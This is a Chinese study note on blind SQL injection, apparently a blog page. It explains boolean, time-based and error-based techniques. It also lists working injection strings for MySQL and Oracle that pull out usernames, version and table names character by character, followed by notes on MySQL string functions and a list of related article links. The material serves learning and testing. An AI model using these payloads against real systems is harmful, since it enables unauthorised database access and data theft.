SQL盲注学习
如果数据库运行返回结果时只反馈对错不会返回数据库当中的信息
此时可以采用逻辑判断是否正确的盲注来获取信息
盲注是不能通过直接显示的途径来获取数据库数据的方法
1.布尔盲注
2.时间盲注
3.报错型盲注
布尔盲注
某些查询是不需要返回结果的,金判断查询语句是否正确执行,所以其返回可以看做一个布尔值,正常显示为true,报错或是其他不正常显示为false.
SELECT userid FROM member WHERE u_name=$name AND u_pass=$pass;
注入语句
name=-1' and (select mid(u_name,1,1) from member where userid=1)='a'
name=-1' and (select mid(u_name,2,1) from member where userid=1)='d'
name=-1' and (select mid(u_name,3,1) from member where userid=1)='m'
name=-1' and (select mid(u_name,4,1) from member where userid=1)='i’
name=-1' and (select mid(u_name,5,1) from member where userid=1)='n'
时间盲注
布尔盲注的关键字符带不进去,这时候可以使用sleep来进行时间盲注,取页面执行时间(结束时间-开始时间)来判断sleep函数是否正常执行,所以其是否正常执行可以看做一个布尔值,正常显示为true,报错或是其他不正常显示为false
查询语句
SELECT userid FROM member WHERE u_name=$name AND u_pass=$pass;
注入语句
name=-1' and (select mid(u_name,1,1) from member where userid=1)='a' and (select sleep(3))
name=-1' and (select mid(u_name,2,1) from member where userid=1)='d' and (select sleep(3))
name=-1' and (select mid(u_name,3,1) from member where userid=1)='m' and (select sleep(3))
name=-1' and (select mid(u_name,4,1) from member where userid=1)='i' and (select sleep(3))
name=-1' and (select mid(u_name,5,1) from member where userid=1)='n' and (select sleep(3)
常见报错注入函数
left(a,b)从左侧截取 a 的前 b 位:left(database(),1)>'s' substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度。 ascii() 将某个字符转换为 ascii 值:ascii(substr(user),1,1))=101# mid(a,b,c)从位置 b 开始, 截取 a 字符串的 c 位:
floor(Mysql): and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
Extractvalue(Mysql): and extractvalue(1, concat(0x5c, (select table_name from information_sc hema.tables limit 1)));
Updatexml(Mysql) :and 1=(updatexml(1,concat(0x3a,(select user())),1)) EXP: Exp(~(select * from (select user())a))
UTL_INADDR.get_host_address(Oracle): and 1=utl_inaddr.get_host_address((select banner() from sys.v_$version where rownum=1))
left(a,b)函数
LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。 LEFT(str,length);如果str或length参数为NULL,则返回NULL值。
str是要提取子字符串的字符串
length是一个正整数,指定将从左边返回的字符数
length为0或为负,则LEFT返回一个空字符串 length大于str字符串的长度,则LEFT返回整个str字符串
返回字符串str的长度,以字节为单位。一个多字节字符算作多字节。
在mysql内置函数里面查看字符串长度的还有一个函数是char_length,两个函数的区别是:length: 一个汉 字是算三个字符,一个数字或字母算一个字符。char_length: 不管汉字还是数字或者是字母都算是一个字 符。
这意味着,对于包含五个两字节字符的字符串,LENGTH() 返回10, 而CHAR_LENGTH() 返回5
SBUSTR(str,pos); 就是从pos开始的位置,一直截取到最后。
SUBSTR(str,pos,len);表示从pos开始的位置,截取len个字符(空白也算字符)。
函数ord( )函数返回字符串str的最左面字符的ASCII代码值。
函数mid( )用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server,Oracle 数据库中,我们可以使用SQL SUBSTRING函数或者SQL SUBSTR函数作为替代。
函数ord( )函数返回字符串str的最左面字符的ASCII代码值。
函数mid( )用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server,Oracle 数据库中,我们可以使用SQL SUBSTRING函数或者SQL SUBSTR函数作为替代。
cast()和convert()函数
MySQL 的CAST()和CONVERT()函数可用来获取一个类型的值,并产生另一个类型的值。
ifnull()函数
IFNULL(A,B)意义是当字段A是NULL时取B,不是NULL时取A的值。
SQL盲注学习的更多相关文章
- SQL盲注学习-布尔型
本次实验还是使用sqli-labs环境.在开始SQL盲注之前首先学习一下盲注需要用到的基础语法. 1.left()函数:left(str,lenth)它返回具有指定长度的字符串的左边部分. left( ...
- SQL盲注学习-时间型
本次对时间型盲注进行学习,还是的使用sqli-labs环境. 首先看一下时间型盲注需要用到的: 1.if()函数 if(a,b,c) 如果a为真则执行b,否则执行c.如图,由于1=1为真所以执行第 ...
- Kali学习笔记43:SQL盲注
前面的文章都是基于目标会返回错误信息的情况进行判断是否存在SQL注入 我们可以轻易根据数据库报错信息来猜测SQL语句和注入方式 如果程序员做得比较好,不显示错误信息,这种情况下得SQL注入称为SQL盲 ...
- SQL盲注攻击的简单介绍
1 简介 1.1 普通SQL注入技术概述 目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]: (1) 脚本注入式的攻击 (2) 恶意用户输 ...
- Web系统常见安全漏洞及解决方案-SQL盲注
关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...
- DVWA-基于布尔值的盲注与基于时间的盲注学习笔记
DVWA-基于布尔值的盲注与基于时间的盲注学习笔记 基于布尔值的盲注 一.DVWA分析 将DVWA的级别设置为low 1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变 ...
- (转)SQL盲注攻击的简单介绍
转:http://hi.baidu.com/duwang1104/item/65a6603056aee780c3cf2968 1 简介 1.1 普通SQL注入技术概述 目前没有对SQL ...
- 小白日记42:kali渗透测试之Web渗透-SQL盲注
SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...
- WEB安全实战(一)SQL盲注
前言 好长时间没有写过东西了,不是不想写,仅仅只是是一直静不下心来写点东西.当然,拖了这么长的时间,也总该写点什么的.近期刚刚上手安全方面的东西,作为一个菜鸟,也本着学习的目的,就谈谈近期接触到的安全 ...
随机推荐
- 较为复杂的实现Parcelable的子类--推荐Android中使用
2017-08-14 21:23:34 一个较为复杂的Parcelable实现类 public class CommentShareBean implements Parcelable { /** * ...
- [图形学]VS2017中OpenGL的下载及安装中的异常
1.放dll文件:C:\Windows\SysWOW64 或C:\Windows\windows32 2.lib和h:C:\Program Files (x86)\Microsoft Visual S ...
- python 多进程多线程的对比
link:http://www.cnblogs.com/whatisfantasy/p/6440585.html mark一下,挺详细
- F2833x 调用DSP函数库实现复数的FFT的方法
转载自:http://blog.csdn.net/aeecren/article/details/67644363:个人觉得写的很详细,值得一看 在数字信号处理中,FFT变换是经常使用到的,在DSP中 ...
- python变量存储
变量的存储 在高级语言中,变量是对内存及其地址的抽象. 对于python而言,python的一切变量都是对象,变量的存储,采用了引用语义的方式,存储的只是一个变量的值所在的内存地址,而不是这个变量的只 ...
- web开发中 代码解决部分IE兼容问题
首先是自己遇到问题: 一套系统,以前的开发asp旧+c#新后台管理扩展.完善后,在2013年前基本无问题,很是畅顺. 其中.到升级了浏览器后.例如ie9以后,则问题出现了. 如图: 这是一个js的 ...
- SharePoint Framework 在web部件中使用第三方样式 - 将第三方样式打到包中
博客地址:http://blog.csdn.net/FoxDave 有许多第三方库可以帮助我们构建丰富的SharePoint Framework客户端web部件.并且这些JavaScript脚本常常包 ...
- IntelliJ IDEA 使用教程(2019图文版) -- 从入门到上瘾
IntelliJ IDEA 使用教程(2019图文版) -- 从入门到上瘾 前言:IntelliJ IDEA 如果说IntelliJ IDEA是一款现代化智能开发工具的话,Eclipse则称得上是 ...
- python笔记——随手记
1.max与min函数的使用min(0)返回该矩阵中每一列的最小值 min(1)返回该矩阵中每一行的最小值 max(0)返回该矩阵中每一列的最大值 max(1)返回该矩阵中每一行的最大值2.argso ...
- html 使表格随着内容自动适应宽度
所谓难而不会,会儿不难.这个问题让我纠结了很长时间,一句css解决了,仅仅靠一个属性 td { white-space: nowrap; } from:http://blog.csdn.net/liu ...